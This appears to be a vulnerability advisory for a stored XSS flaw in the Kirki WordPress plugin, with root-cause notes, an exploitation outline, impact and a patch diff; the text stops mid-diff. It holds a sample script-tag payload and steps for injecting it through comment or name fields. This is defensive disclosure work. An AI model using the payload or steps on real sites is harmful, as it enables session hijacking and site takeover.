Published : August 10, 2026

CVE-2026-16974: Kirki Freeform Page Builder, Website Builder & Customizer <= 6.2.0 Authenticated (Contributor+) Stored Cross-Site Scripting via post_meta Shortcode PoC, Patch Analysis & Rule

Plugin kirki
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 6.2.0
Patched Version 6.2.1
Disclosed August 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-16974: The Kirki plugin for WordPress, up to and including version 6.2.0, contains a Stored Cross-Site Scripting (XSS) vulnerability. This issue affects authenticated users with Contributor-level access or above. The vulnerability enables attackers to inject arbitrary web scripts through the post_meta shortcode, which execute when a page is viewed. The severity is rated 6.4 (Medium) under CVSS, and it maps to CWE-79 (Improper Neutralization of Input During Web Page Generation).

Root Cause: The vulnerability stems from insufficient input sanitization and output escaping. Specifically, the `post_meta` shortcode fails to properly handle HTML entity-encoded markup. The patch reveals the core issue in `kirki/ComponentLibrary/controller/CompLibFormHandler.php`. The vulnerable code passes comment and name fields through `sanitize_text_field()` without decoding HTML entities. This function strips tags but leaves encoded markup like `<script>` intact. This allows encoded scripts to survive the write process and reach the renderer. Additionally, the comment update path uses a raw `$wpdb->update()` call, bypassing WordPress’s comment filtering and kses sanitization filters. The patch mentions this in the FIX 3 comment, noting that encoded markup used to survive and reach the renderer. The patch addresses this by decoding entities before sanitizing and by using `wp_update_comment()` to apply the same filters as `wp_new_comment()`.

Exploitation: To exploit this, an authenticated user with Contributor-level access submits a form comment or name containing HTML entity-encoded script payloads. The attack vector involves the form submission endpoint, likely the CompLibFormHandler’s `handle_comment_create` or similar REST action. The attacker includes a payload like `<script>alert(1)</script>` in the `comment` or `name` parameter. The vulnerable sanitization leaves this encoded markup intact. When the comment is later rendered, the `post_meta` shortcode or the comment output displays the encoded markup. Browsers interpret the decoded entities as live HTML, executing the script. The attack targets the `wp-json/kirki/v1/…` endpoint or the form’s submission handler, depending on the exact route. A successful exploit results in Stored XSS, where the malicious script runs for any user viewing the compromised page.

Patch Analysis: The patch fixes the vulnerability in multiple ways. In `CompLibFormHandler.php`, it adds `html_entity_decode()` before `sanitize_text_field()` for both comment and name fields. This ensures that HTML entities are converted to their literal characters before sanitization. Since `sanitize_text_field()` strips tags, the decoded markup is removed. It also replaces the raw `$wpdb->update()` with `wp_update_comment()`, which applies the same kses and comment filters as `wp_new_comment()`. This closes the bypass of comment sanitization. Additionally, the patch introduces a whitelist-based rendering for email action fields, replacing `do_shortcode()` with `render_email_action_text()`. This prevents arbitrary shortcode execution in email actions. It also adds signature validation to form metadata tokens using `wp_hash()`, preventing token tampering. Finally, it adds URL safety checks for webhooks using `is_safe_url()` and restricts export file access to uploads. These changes collectively mitigate the XSS and related vulnerabilities.

Impact: Exploiting this vulnerability allows an attacker to inject malicious scripts that execute in the context of any user visiting the affected page. This includes administrators, potentially leading to session hijacking, privilege escalation, or full site compromise. The attacker can perform actions as the victim, such as creating admin accounts or stealing sensitive data. Since contributor access is relatively easy to obtain on some sites, this poses a significant risk. The CVSS score of 6.4 reflects the medium severity, but the impact on affected sites can be severe.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/kirki/ComponentLibrary/controller/CompLibFormHandler.php
+++ b/kirki/ComponentLibrary/controller/CompLibFormHandler.php
@@ -151,7 +151,10 @@
     $form_data     = $request->get_body_params();
     $transient_name = $this->validate_nonce( 'kirki-comment' );  // note: typo fix from $transiet_name

-    $comment        = isset( $form_data['comment'] ) ? sanitize_text_field( $form_data['comment'] ) : '';
+    // FIX 3: decode entities *before* sanitising. sanitize_text_field() strips
+    // tags but leaves entity-encoded markup (`<script>`) intact, which is
+    // how markup used to survive the write and reach the renderer.
+    $comment        = isset( $form_data['comment'] ) ? sanitize_text_field( html_entity_decode( (string) $form_data['comment'], ENT_QUOTES | ENT_HTML5, 'UTF-8' ) ) : '';
     $post_id        = isset( $form_data['post_id'] ) ? absint( $form_data['post_id'] ) : 0;
     $comment_parent = isset( $form_data['comment_parent'] ) ? absint( $form_data['comment_parent'] ) : 0;
     $user_id        = get_current_user_id();
@@ -163,7 +166,7 @@
 			$email = $user->get( 'user_email' );
     } else {
 			// Anonymous commenter: require name + valid email supplied in the form.
-			$name  = isset( $form_data['name'] )  ? sanitize_text_field( $form_data['name'] )  : '';
+			$name  = isset( $form_data['name'] )  ? sanitize_text_field( html_entity_decode( (string) $form_data['name'], ENT_QUOTES | ENT_HTML5, 'UTF-8' ) )  : '';
 			$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] )       : '';

 			if ( empty( $name ) || empty( $email ) || ! is_email( $email ) ) {
@@ -210,19 +213,28 @@
 				);
 			}

-			$date = gmdate( 'Y-m-d H:i:s' );
+			$date = current_time( 'mysql' );

-			global $wpdb;
-			$wpdb->update(
-				$wpdb->comments,
+			// FIX 3 (cont.): go through wp_update_comment() instead of a raw
+			// $wpdb->update(), so the same kses/comment filters that guard
+			// wp_new_comment() also guard edits.
+			$updated = wp_update_comment(
 				array(
+					'comment_ID'       => $existing_comment_id,
 					'comment_content'  => $comment,
 					'comment_date'     => $date,
 					'comment_date_gmt' => get_gmt_from_date( $date ),
 				),
-				array( 'comment_ID' => $existing_comment_id )
+				true
 			);

+			if ( is_wp_error( $updated ) ) {
+				return new WP_REST_Response(
+					array( 'message' => $updated->get_error_message() ),
+					400
+				);
+			}
+
 			apply_filters(
 				'kirki_comment_added-' . $collection_type,
 				array(
--- a/kirki/ComponentLibrary/controller/ElementGenerator.php
+++ b/kirki/ComponentLibrary/controller/ElementGenerator.php
@@ -16,6 +16,7 @@
 	private $options                       = array();
 	private $generate_child_element        = null;
 	private $get_data_and_styles_from_root = null;
+	private $get_collection_info           = array();
 	private $style_blocks                  = array();
 	private $properties                    = array();
 	public $component_lib_forms            = array();
@@ -34,6 +35,7 @@
 		$this->setting                       = $this->properties['settings'];
 		$this->component_lib_forms           = $props['component_lib_forms'];
 		$this->get_data_and_styles_from_root = $props['get_data_and_styles_from_root'];
+		$this->get_collection_info           = $props['get_collection_info'];
 		$this->style_blocks                  = $props['style_blocks'];
 		$this->add_element_config();
 	}
@@ -204,7 +206,10 @@
 						'styles' => array(),
 						'root'   => $this->element['parentId'],
 					);
-					call_user_func_array( $this->get_data_and_styles_from_root, array( $this->element['parentId'], &$data_n_styles, &$this->elements, &$this->style_blocks ) );
+
+					$data_n_styles = call_user_func_array( $this->get_collection_info, array( $this->options, $this->element ) );
+
+					// call_user_func_array( $this->get_data_and_styles_from_root, array( $this->element['parentId'], &$data_n_styles, &$this->elements, &$this->style_blocks ) );
 					$encoded_data = json_encode( $data_n_styles );
 					$kirki_data  .= "<textarea data-type='kirki_data' style='display: none'>" . esc_textarea( $encoded_data ) . '</textarea>';
 				}
--- a/kirki/app/FormActions/Actions/EmailActionHandler.php
+++ b/kirki/app/FormActions/Actions/EmailActionHandler.php
@@ -23,6 +23,10 @@
     /**
      * Register shortcodes referenced by the email action's fields.
      *
+     * Every field is rendered through {@see render_email_action_text()}, which
+     * strips any shortcode that does not map to a submitted form field, so no
+     * arbitrary site shortcode can execute here.
+     *
      * @param array $action
      * @param array $form_data
      * @return void
@@ -86,15 +90,15 @@
         }

         if (isset($email_action['replyTo'])) {
-            $reply_to = do_shortcode($email_action['replyTo']);
+            $reply_to = sanitize_email($this->render_email_action_text($email_action['replyTo'], $form_data));
         }

         if (isset($email_action['name'])) {
-            $name = do_shortcode($email_action['name']);
+            $name = $this->render_email_action_text($email_action['name'], $form_data);
         }

         if (isset($email_action['subject'])) {
-            $subject = do_shortcode($email_action['subject']);
+            $subject = $this->render_email_action_text($email_action['subject'], $form_data);
         }

         if (strlen($reply_to) > 0 && strlen($name) > 0) {
@@ -102,13 +106,78 @@
         }

         if (isset($email_action['emailList']) && !empty($email_action['emailList'])) {
-            return $this->send_email_notification(do_shortcode($email_action['emailList']), $subject, $body, $header);
+            $to = $this->sanitize_email_list($this->render_email_action_text($email_action['emailList'], $form_data));
+
+            if ($to) {
+                return $this->send_email_notification($to, $subject, $body, $header);
+            }
         }

         return false;
     }

     /**
+     * Render a templated email action field using an explicit whitelist array.
+     *
+     * @param string $value     The configured field value.
+     * @param array  $form_data The submitted form data.
+     * @return string
+     */
+    protected function render_email_action_text($value, $form_data)
+    {
+        if (empty($value) || !is_string($value)) {
+            return (string) $value;
+        }
+
+        // Whitelist array of acceptable email action shortcodes and their resolved values.
+        $whitelist = [
+            'admin_email' => (string) get_option('admin_email'),
+        ];
+
+        if (is_array($form_data)) {
+            foreach ($form_data as $field_name => $field_value) {
+                if (is_array($field_value)) {
+                    $whitelist[$field_name] = implode(', ', $field_value);
+                } else {
+                    $whitelist[$field_name] = (string) $field_value;
+                }
+            }
+        }
+
+        // Render only the whitelisted shortcodes from the array
+        foreach ($whitelist as $tag => $replacement) {
+            $value = str_replace('[' . $tag . ']', $replacement, $value);
+        }
+
+        return $value;
+    }
+
+    /**
+     * Sanitize a comma-separated list of email addresses.
+     *
+     * @param string $value The configured email list value.
+     * @return string A comma-separated string of valid addresses, or '' when empty.
+     */
+    protected function sanitize_email_list($value)
+    {
+        if (empty($value) || !is_string($value)) {
+            return '';
+        }
+
+        $valid = [];
+
+        foreach (explode(',', $value) as $address) {
+            $address = sanitize_email(trim($address));
+
+            if ($address) {
+                $valid[] = $address;
+            }
+        }
+
+        return implode(', ', $valid);
+    }
+
+    /**
      * Build the email body from a body configuration.
      *
      * @param array $body_config Body configuration.
--- a/kirki/app/FormActions/Actions/WebhookActionHandler.php
+++ b/kirki/app/FormActions/Actions/WebhookActionHandler.php
@@ -2,6 +2,8 @@

 namespace KirkiAppFormActionsActions;

+use KirkiHelperFunctions;
+
 defined('ABSPATH') || exit;

 use KirkiAppConstantsFormFormWebhookMethods;
@@ -44,6 +46,10 @@
      */
     protected function send_get($url, $form_data)
     {
+        if (!HelperFunctions::is_safe_url($url)) {
+            return false;
+        }
+
         $query_string = http_build_query($form_data);
         $url = rtrim($url, '/');
         $url .= '/';
@@ -62,6 +68,10 @@
      */
     protected function send_post($url, $form_data)
     {
+        if (!HelperFunctions::is_safe_url($url)) {
+            return false;
+        }
+
         $response = Http::as_form()->post($url, $form_data);

         return $response->status() !== 0;
--- a/kirki/app/Services/FormSubmissionService.php
+++ b/kirki/app/Services/FormSubmissionService.php
@@ -109,7 +109,10 @@
 	}

 	/**
-	 * Parse and decode the base64 form metadata token.
+	 * Parse and verify the base64 form metadata token.
+	 *
+	 * The token is signed with `wp_hash()` at render time, so an attacker
+	 * cannot mint tokens for arbitrary form/post combinations.
 	 *
 	 * @param mixed $form_meta_data_base64 Base64 encoded form metadata.
 	 * @return array{form_id: string|null, post_id: string|null}
@@ -120,11 +123,26 @@
 			return ['form_id' => null, 'post_id' => null];
 		}

+		// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_decode
 		$form_meta_data = explode('|', base64_decode(base64_decode($form_meta_data_base64)));

+		if (count($form_meta_data) < 3) {
+			return ['form_id' => null, 'post_id' => null];
+		}
+
+		$form_id   = $form_meta_data[0];
+		$post_id   = $form_meta_data[1];
+		$signature = $form_meta_data[2];
+
+		$expected = wp_hash($form_id . '|' . $post_id);
+
+		if (!hash_equals($expected, (string) $signature)) {
+			return ['form_id' => null, 'post_id' => null];
+		}
+
 		return [
-			'form_id' => $form_meta_data[0] ?: null,
-			'post_id' => $form_meta_data[1] ?: null,
+			'form_id' => $form_id ?: null,
+			'post_id' => $post_id ?: null,
 		];
 	}

--- a/kirki/includes/API/Frontend/Controllers/CollectionController.php
+++ b/kirki/includes/API/Frontend/Controllers/CollectionController.php
@@ -12,11 +12,15 @@
 	exit; // Exit if accessed directly.
 }

+use KirkiAjaxSymbol;
 use KirkiAjaxUsers;
 use KirkiFrontendPreviewPreview;
 use KirkiHelperFunctions;
 use WP_REST_Server;
-
+use KirkiAppModelsPage as PageModel;
+use KirkiAppResourcesPageContentResource;
+use KirkiAppSupportsFacadesPage;
+use KirkiFrontendPreviewDataHelper;

 /**
  * CollectionController
@@ -87,6 +91,31 @@
 		);
 	}

+	private function prepare_kirki_data_for_collection($kirki_data){
+		$data_n_styles = [];
+		$post_id = (int) $kirki_data['post_id'];
+		$collection_data_id = $kirki_data['collection_data_id'];
+		$post = get_post($post_id);
+		if($post){
+			if($post->post_type === 'kirki_symbol'){
+				$symbol = Symbol::get_single_symbol( $post_id, true, false, array() );
+
+				if ( $symbol ) {
+					$symbol_data = $symbol['symbolData'];
+					if ( $symbol_data && isset( $symbol_data['data'] ) ) {
+						$all_blocks = get_post_meta($post_id, 'kirki', true);
+						$all_styles = Page::get_page_styleblocks($post_id, false);
+						DataHelper::get_data_and_styles_from_root( $collection_data_id, $data_n_styles, $symbol_data['data'], $symbol_data['styleBlocks'] );
+					}
+				}
+			}else {
+				$all_blocks = get_post_meta($post_id, 'kirki', true);
+				$all_styles = Page::get_page_styleblocks($post_id, false);
+				DataHelper::get_data_and_styles_from_root( $collection_data_id, $data_n_styles, $all_blocks['blocks'], $all_styles );
+			}
+		}
+		return $data_n_styles;
+	}
 	/**
 	 * Creates a collection page
 	 *
@@ -97,7 +126,7 @@
 	public function get_collection( $request ) {
 		$page                     = absint( $request->get_param( 'page' ) );
 		$page                     = empty( $page ) ? 1 : $page;
-		$collection_id            = HelperFunctions::sanitize_text( $request->get_param( 'collection_id' ) );
+		// $collection_id            = HelperFunctions::sanitize_text( $request->get_param( 'collection_id' ) );
 		$collection_param_filters = json_decode( $request->get_param( 'filters' ), true );
 		$kirki_data               = json_decode( $request->get_param( 'kirki_data' ), true );
 		$context                  = json_decode( $request->get_param( 'context' ), true );
@@ -107,8 +136,11 @@
 		$kirki_data               = is_array( $kirki_data ) ? $kirki_data : array();
 		$context                  = is_array( $context ) ? $context : array();

-		$blocks = $kirki_data['blocks'] ?? array();
-		$styles = $kirki_data['styles'] ?? array();
+		$collection_id            = $kirki_data['collection_data_id'] ?? false;
+		$data_n_styles               = $this->prepare_kirki_data_for_collection($kirki_data);
+
+		$blocks = $data_n_styles['blocks'] ?? array();
+		$styles = $data_n_styles['styles'] ?? array();

 		$options = array();
 		if ( $context ) {
@@ -165,12 +197,16 @@
 		$page = absint( $request->get_param( 'page' ) );
 		$page = empty( $page ) ? 1 : $page;

-		$collection_id = HelperFunctions::sanitize_text( $request->get_param( 'collection_id' ) );
+		// $collection_id = HelperFunctions::sanitize_text( $request->get_param( 'collection_id' ) );
 		$post_id       = HelperFunctions::sanitize_text( $request->get_param( 'post_id' ) );
 		$kirki_data    = json_decode( $request->get_param( 'kirki_data' ), true );
+		$kirki_data    = is_array( $kirki_data ) ? $kirki_data : array();
+
+		$collection_id            = $kirki_data['collection_data_id'] ?? false;
+		$data_n_styles = $this->prepare_kirki_data_for_collection($kirki_data);

-		$blocks = $kirki_data['blocks'];
-		$styles = $kirki_data['styles'];
+		$blocks = $data_n_styles['blocks'] ?? array();
+		$styles = $data_n_styles['styles'] ?? array();

 		$params = array(
 			'blocks'       => $blocks,
@@ -198,13 +234,17 @@
 	public function get_users( $request ) {
 		$page          = absint( $request->get_param( 'page' ) );
 		$page          = empty( $page ) ? 1 : $page;
-		$collection_id = HelperFunctions::sanitize_text( $request->get_param( 'collection_id' ) );
+		// $collection_id = HelperFunctions::sanitize_text( $request->get_param( 'collection_id' ) );
 		$post_id       = HelperFunctions::sanitize_text( $request->get_param( 'post_id' ) );
 		$kirki_data    = json_decode( $request->get_param( 'kirki_data' ), true );
 		$query         = HelperFunctions::sanitize_text( $request->get_param( 'q' ) );
+		$kirki_data    = is_array( $kirki_data ) ? $kirki_data : array();
+
+		$collection_id            = $kirki_data['collection_data_id'] ?? false;
+		$data_n_styles = $this->prepare_kirki_data_for_collection($kirki_data);

-		$blocks = $kirki_data['blocks'];
-		$styles = $kirki_data['styles'];
+		$blocks = $data_n_styles['blocks'] ?? array();
+		$styles = $data_n_styles['styles'] ?? array();

 		$params = array(
 			'blocks'       => $blocks,
@@ -225,18 +265,25 @@

 	/**
 	 * Gets terms of a collection
+	 *
+	 * @param WP_REST_Request $request all user request parameter.
+	 *
+	 * @return WP_Error|WP_REST_Response
 	 */
-
 	public function get_terms( $request ) {
 		$page = absint( $request->get_param( 'page' ) );
 		$page = empty( $page ) ? 1 : $page;

-		$collection_id = HelperFunctions::sanitize_text( $request->get_param( 'collection_id' ) );
+		// $collection_id = HelperFunctions::sanitize_text( $request->get_param( 'collection_id' ) );
 		$post_id       = HelperFunctions::sanitize_text( $request->get_param( 'post_id' ) );
 		$kirki_data    = json_decode( $request->get_param( 'kirki_data' ), true );
+		$kirki_data    = is_array( $kirki_data ) ? $kirki_data : array();
+
+		$collection_id            = $kirki_data['collection_data_id'] ?? false;
+		$data_n_styles = $this->prepare_kirki_data_for_collection($kirki_data);

-		$blocks = $kirki_data['blocks'];
-		$styles = $kirki_data['styles'];
+		$blocks = $data_n_styles['blocks'] ?? array();
+		$styles = $data_n_styles['styles'] ?? array();

 		$params = array(
 			'blocks'       => $blocks,
--- a/kirki/includes/API/Frontend/Controllers/FormController.php
+++ b/kirki/includes/API/Frontend/Controllers/FormController.php
@@ -553,7 +553,7 @@
 	}

 	/**
-	 * Parse and validate form metadata
+	 * Parse and verify form metadata
 	 *
 	 * @param string $form_meta_data_base64 Base64 encoded form metadata.
 	 * @return array Array with form_id and post_id.
@@ -563,9 +563,29 @@
 		//phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_decode
 		$form_meta_data = explode('|', base64_decode(base64_decode($form_meta_data_base64)));

+		if (count($form_meta_data) < 3) {
+			return array(
+				'form_id' => null,
+				'post_id' => null,
+			);
+		}
+
+		$form_id   = $form_meta_data[0];
+		$post_id   = $form_meta_data[1];
+		$signature = $form_meta_data[2];
+
+		$expected = wp_hash($form_id . '|' . $post_id);
+
+		if (!hash_equals($expected, (string) $signature)) {
+			return array(
+				'form_id' => null,
+				'post_id' => null,
+			);
+		}
+
 		return array(
-			'form_id' => isset($form_meta_data[0]) ? $form_meta_data[0] : null,
-			'post_id' => isset($form_meta_data[1]) ? $form_meta_data[1] : null,
+			'form_id' => $form_id ?: null,
+			'post_id' => $post_id ?: null,
 		);
 	}

@@ -685,13 +705,13 @@
 		}

 		if (isset($email_action['replyTo'])) {
-			$replyTo = do_shortcode($email_action['replyTo']);
+			$replyTo = sanitize_email($this->render_email_action_text($email_action['replyTo'], $form_data));
 		}
 		if (isset($email_action['name'])) {
-			$name = do_shortcode($email_action['name']);
+			$name = $this->render_email_action_text($email_action['name'], $form_data);
 		}
 		if (isset($email_action['subject'])) {
-			$subject = do_shortcode($email_action['subject']);
+			$subject = $this->render_email_action_text($email_action['subject'], $form_data);
 		}

 		if (strlen($replyTo) > 0 && strlen($name) > 0) {
@@ -699,8 +719,73 @@
 		}

 		if (isset($email_action['emailList']) && !empty($email_action['emailList'])) {
-			$this->send_email_notification(do_shortcode($email_action['emailList']), $subject, $body, $header);
+			$to = $this->sanitize_email_list($this->render_email_action_text($email_action['emailList'], $form_data));
+
+			if ($to) {
+				$this->send_email_notification($to, $subject, $body, $header);
+			}
+		}
+	}
+
+	/**
+	 * Render a templated email action field using an explicit whitelist array.
+	 *
+	 * @param string $value     The configured field value.
+	 * @param array  $form_data The submitted form data.
+	 * @return string
+	 */
+	private function render_email_action_text($value, $form_data)
+	{
+		if (empty($value) || !is_string($value)) {
+			return (string) $value;
+		}
+
+		// Whitelist array of acceptable email action shortcodes and their resolved values.
+		$whitelist = array(
+			'admin_email' => (string) get_option('admin_email'),
+		);
+
+		if (is_array($form_data)) {
+			foreach ($form_data as $field_name => $field_value) {
+				if (is_array($field_value)) {
+					$whitelist[$field_name] = implode(', ', $field_value);
+				} else {
+					$whitelist[$field_name] = (string) $field_value;
+				}
+			}
+		}
+
+		// Render only the whitelisted shortcodes from the array
+		foreach ($whitelist as $tag => $replacement) {
+			$value = str_replace('[' . $tag . ']', $replacement, $value);
 		}
+
+		return $value;
+	}
+
+	/**
+	 * Sanitize a comma-separated list of email addresses.
+	 *
+	 * @param string $value The configured email list value.
+	 * @return string A comma-separated string of valid addresses, or '' when empty.
+	 */
+	private function sanitize_email_list($value)
+	{
+		if (empty($value) || !is_string($value)) {
+			return '';
+		}
+
+		$valid = array();
+
+		foreach (explode(',', $value) as $address) {
+			$address = sanitize_email(trim($address));
+
+			if ($address) {
+				$valid[] = $address;
+			}
+		}
+
+		return implode(', ', $valid);
 	}

 	/**
@@ -764,6 +849,10 @@
 	 */
 	private function send_webhook_get($url, $form_data)
 	{
+		if (!HelperFunctions::is_safe_url($url)) {
+			return false;
+		}
+
 		$query_string = http_build_query($form_data);

 		if (substr($url, -1) !== '/') {
@@ -785,6 +874,10 @@
 	 */
 	private function send_webhook_post($url, $form_data)
 	{
+		if (!HelperFunctions::is_safe_url($url)) {
+			return false;
+		}
+
 		$options = array(
 			'method' => 'POST',
 			'httpversion' => '2.0',
@@ -799,6 +892,7 @@
 		return !is_wp_error($response);
 	}

+
 	/**
 	 * Process mailclient actions
 	 *
--- a/kirki/includes/API/Frontend/Controllers/FrontendRESTController.php
+++ b/kirki/includes/API/Frontend/Controllers/FrontendRESTController.php
@@ -40,17 +40,40 @@
 	 * @return bool|WP_Error
 	 */
 	public function get_item_permissions_check( $request ) {
-		// --- Check 1: context-based permission (post or comment context) ---
+		// --- Check 1: context-based permission ---
 		$raw_context = $request->get_param( 'context' );

 		if ( $raw_context ) {
 			$context = json_decode( $raw_context, true );
-			$post_id = $this->extract_post_id_from_context( $context );

-			if ( $post_id && ! $this->can_user_read_post( $post_id ) ) {
+			$context_type = $context['type'];
+
+			// For user contexts, require list_users capability.
+			if ( 'user' === $context_type ) {
+				$target_user_id = absint( $context['id'] ?? 0 );
+				// Allow access only if the requester is querying their own record OR list_users capability
+				if ( $target_user_id !== get_current_user_id() && ! current_user_can( 'list_users' ) ) {
+					return new WP_Error(
+						'rest_forbidden',
+						'You do not have permission to read this user.',
+						array( 'status' => 403 )
+					);
+				}
+			} elseif ( 'term' === $context_type ) {
+				// Term contexts are publicly accessible (terms are public by default).
+			} elseif ( 'post' === $context_type || 'comment' === $context_type ) {
+				$post_id = $this->extract_post_id_from_context( $context );
+				if ( $post_id && ! $this->can_user_read_post( $post_id ) ) {
+					return new WP_Error(
+						'rest_forbidden',
+						'You do not have permission to read this post.',
+						array( 'status' => 403 )
+					);
+				}
+			} else {
 				return new WP_Error(
 					'rest_forbidden',
-					'You do not have permission to read this post.',
+					'Unsupported context type.',
 					array( 'status' => 403 )
 				);
 			}
@@ -72,9 +95,10 @@

 	/**
 	 * Extracts the relevant post ID from a decoded context array.
-	 * - For 'post' context:    uses context['id']
-	 * - For 'comment' context: uses context['post_id'] (the parent post)
-	 * - For all others:        no post ID to check
+	 * Only handles 'post' and 'comment' types; all other types return null
+	 * because they do not reference a post that requires a read-access check.
+	 * NOTE: Callers MUST perform their own capability checks for non-post
+	 * context types (user, term, etc.) before reaching this method.
 	 *
 	 * @param mixed $context Decoded JSON context.
 	 * @return int|null Sanitized post ID, or null if not applicable.
--- a/kirki/includes/Ajax/DynamicContent.php
+++ b/kirki/includes/Ajax/DynamicContent.php
@@ -13,6 +13,7 @@
 }

 use KirkiAPIContentManagerContentManagerHelper;
+use KirkiFrontendPreviewUtils;
 use KirkiHelperFunctions;

 use function PHPSTORM_METAmap;
@@ -49,7 +50,12 @@
 	private static function resolve_dynamic_element_data( $content_info ) {
 		$content = apply_filters( 'kirki_dynamic_content', false, $content_info );
 		if ( $content !== false ) {
-			return $content;
+			// Keep the editor preview in step with the frontend: plain-text
+			// dynamic values (comment fields) are escaped, never live markup.
+			return Utils::esc_dynamic_text_value(
+				$content,
+				isset( $content_info['dynamicContent'] ) ? $content_info['dynamicContent'] : array()
+			);
 		}

 		$dynamic_content = isset( $content_info['dynamicContent'] ) ? $content_info['dynamicContent'] : array();
--- a/kirki/includes/Ajax/ExportImport.php
+++ b/kirki/includes/Ajax/ExportImport.php
@@ -46,10 +46,28 @@
 		}

 		// filter asset_urls using base_url if base_url not included remove item
+		$upload_base_path = wp_parse_url($base_url, PHP_URL_PATH);
+		$upload_host = wp_parse_url($base_url, PHP_URL_HOST);
+
 		$asset_urls = array_filter(
 			$asset_urls,
-			function ($asset_item) use ($base_url) {
-				return strpos($asset_item['url'], $base_url) !== false;
+			function ($asset_item) use ($upload_base_path, $upload_host) {
+				$parsed = wp_parse_url($asset_item['url']);
+
+				if (empty($parsed['host']) || $parsed['host'] !== $upload_host) {
+					return false;
+				}
+
+				if (!isset($parsed['scheme']) || !in_array(strtolower($parsed['scheme']), array('http', 'https'), true)) {
+					return false;
+				}
+
+				$path = wp_normalize_path(rawurldecode(isset($parsed['path']) ? $parsed['path'] : ''));
+
+				// Must start with the uploads base path and contain no traversal.
+				return $upload_base_path
+					&& strpos($path, $upload_base_path) === 0
+					&& strpos($path, '..') === false;
 			}
 		);

@@ -175,16 +193,50 @@
 			}

 			// Step 3: Add file to the zip file
+			$uploads_real = realpath($upload_dir['basedir']);
+			$uploads_base_path = wp_normalize_path(wp_parse_url($upload_dir['baseurl'], PHP_URL_PATH));
+			$allowed_exts = array('jpg', 'jpeg', 'png', 'webp', 'gif', 'avif', 'mp4', 'mov', 'webm', 'mp3', 'json', 'lottie');
+
 			foreach ($asset_urls as $key => $asset_item) {
 				$url = $asset_item['url'];
-				$file_name = basename($url);
+				$parsed = wp_parse_url($url);

-				$subdir_with_filename = explode('/uploads', $url)[1];  // /2021/05/1.jpg
-				$file_path = $upload_dir['basedir'] . $subdir_with_filename; // /var/www/html/wp-content/uploads/2021/05/1.jpg
+				if (empty($parsed['scheme']) || !in_array(strtolower($parsed['scheme']), array('http', 'https'), true)) {
+					continue;
+				}
+
+				if (empty($parsed['host']) || $parsed['host'] !== wp_parse_url($upload_dir['baseurl'], PHP_URL_HOST)) {
+					continue;
+				}

-				if (file_exists($file_path)) {
-					$zip->addFile($file_path, $file_name);
+				$path = wp_normalize_path(rawurldecode(isset($parsed['path']) ? $parsed['path'] : ''));
+				if (!$uploads_base_path || strpos($path, $uploads_base_path) !== 0) {
+					continue; // not under /uploads
 				}
+
+				$relative = ltrim(substr($path, strlen($uploads_base_path)), '/');
+				if ('' === $relative || false !== strpos($relative, '..')) {
+					continue; // empty or traversal
+				}
+
+				$file_path = $uploads_real . DIRECTORY_SEPARATOR . $relative;
+				$real_path = realpath($file_path);
+
+				// Resolved file must exist, be a regular file, and stay inside uploads.
+				if (false === $real_path || !is_file($real_path)) {
+					continue;
+				}
+
+				if ($uploads_real && strpos($real_path, $uploads_real . DIRECTORY_SEPARATOR) !== 0) {
+					continue;
+				}
+
+				$ext = strtolower(pathinfo($real_path, PATHINFO_EXTENSION));
+				if (!in_array($ext, $allowed_exts, true)) {
+					continue; // only media/config files may be exported
+				}
+
+				$zip->addFile($real_path, basename($real_path));
 			}

 			if (false === $zip->addFile($kirki_json_file, 'kirki-data.json')) {
--- a/kirki/includes/Frontend/Preview/DataHelper.php
+++ b/kirki/includes/Frontend/Preview/DataHelper.php
@@ -67,6 +67,10 @@
 		$prefix        = $symbol_id ? 'kirki-s' . $symbol_id : null;
 		$new_id        = $this->get_unique_new_id( $root );
 		$element       = $data[ $root ];
+
+		if($element['name'] === 'collection' || $element['name'] === 'slider'){
+			$element['original_id'] = $element['id'];
+		}
 		$element['id'] = $new_id;

 		if ( isset( $element['styleIds'] ) && ! empty( $element['styleIds'] ) ) {
--- a/kirki/includes/Frontend/Preview/ExceptionalElements.php
+++ b/kirki/includes/Frontend/Preview/ExceptionalElements.php
@@ -12,9 +12,7 @@
 }

 use KirkiAjaxSymbol;
-use KirkiAjaxUsers;
 use KirkiHelperFunctions;
-use KirkiAjaxWordpressData;

 /**
  * ExceptionalElements Class
@@ -116,7 +114,7 @@

 				$children = $this->construct_items_collection_markup( $dynamic_content, $this_data, $options );

-				return $this->construct_collection_markup( $children, $this_data, $attributes, $element_name );
+				return $this->construct_collection_markup( $children, $this_data, $attributes, $element_name, $options );
 			}
 			case 'loading': {
 				return $this->collection_loading_element( $this_data, $attributes, $options );
@@ -530,8 +528,9 @@
 		$post_id    = HelperFunctions::get_post_id_if_possible_from_url();
 		$form_id    = $this_data['id'];
 		$post_data  = $form_id . '|' . $post_id;
+		$form_data  = $post_data . '|' . wp_hash( $post_data );
 		// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode
-		$form_id_base64 = base64_encode( base64_encode( $post_data ) );
+		$form_id_base64 = base64_encode( base64_encode( $form_data ) );

 		$form_nonce_field = wp_nonce_field( 'wp_rest', '_wpnonce', true, false );

@@ -770,21 +769,16 @@
 	 * @param array $attributes single element all attributes.
 	 * @return string HTML markup.
 	 */
-	private function construct_collection_markup( $children, $this_data, $attributes, $element_name = 'collection' ) {
+	private function construct_collection_markup( $children, $this_data, $attributes, $element_name = 'collection', $options=[] ) {
 		$tag = isset( $this_data['properties']['tag'] ) ? $this_data['properties']['tag'] : 'div';

-		$data_n_styles = array(
-			'blocks' => array(),
-			'styles' => array(),
-		);
-
-		DataHelper::get_data_and_styles_from_root( $this_data['id'], $data_n_styles, $this->data, $this->style_blocks );
+		$collection_info = $this->get_collection_info($options, $this_data);

 		if ( is_array( $children ) ) {
 			return $this->get_template(
 				'collection',
 				array(
-					'data'       => $data_n_styles,
+					'data'       => $collection_info,
 					'attributes' => $attributes,
 					'children'   => $children,
 					'tag'        => $tag,
@@ -795,6 +789,20 @@
 		}
 	}

+	public function get_collection_info($options, $this_data) {
+		$collection_info = array(
+			'post_id' => isset($options['post']) ? $options['post']->ID : false,
+			'collection_data_id' => isset($this_data['original_id']) ? $this_data['original_id'] :$this_data['id']
+		);
